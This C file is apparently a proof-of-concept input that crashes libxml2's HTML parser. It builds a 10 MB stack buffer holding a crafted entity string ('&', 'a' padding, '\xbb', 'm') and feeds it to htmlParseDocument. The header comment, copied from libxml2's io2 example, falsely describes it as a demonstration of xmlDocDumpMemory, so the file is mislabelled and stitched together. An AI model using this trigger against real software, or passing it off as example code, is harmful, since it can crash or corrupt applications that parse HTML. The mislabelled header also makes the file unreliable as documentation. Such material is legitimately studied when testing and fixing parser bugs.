/**
 * section: InputOutput
 * synopsis: Output to char buffer
 * purpose: Demonstrate the use of xmlDocDumpMemory
 *          to output document to a character buffer
 * usage: io2
 * test: io2 > io2.tmp && diff io2.tmp $(srcdir)/io2.res
 * author: John Fleck
 * copy: see Copyright for the status of this software.
 */

#include <string.h>
#include <libxml/HTMLparser.h>

int main(void) {
    int poc_size = 10000000;
    char *poc = (char *)alloca(poc_size);
    htmlParserCtxtPtr ctxt;
    poc[poc_size-1] = '\0';
    memset(poc, 'a', poc_size-1);
    poc[0] = '&';
    poc[poc_size-2] = 'm';
    poc[poc_size-3] = '\xbb';
    ctxt = htmlCreateMemoryParserCtxt(poc, poc_size-1);
    htmlParseDocument(ctxt);
    return 0;
}
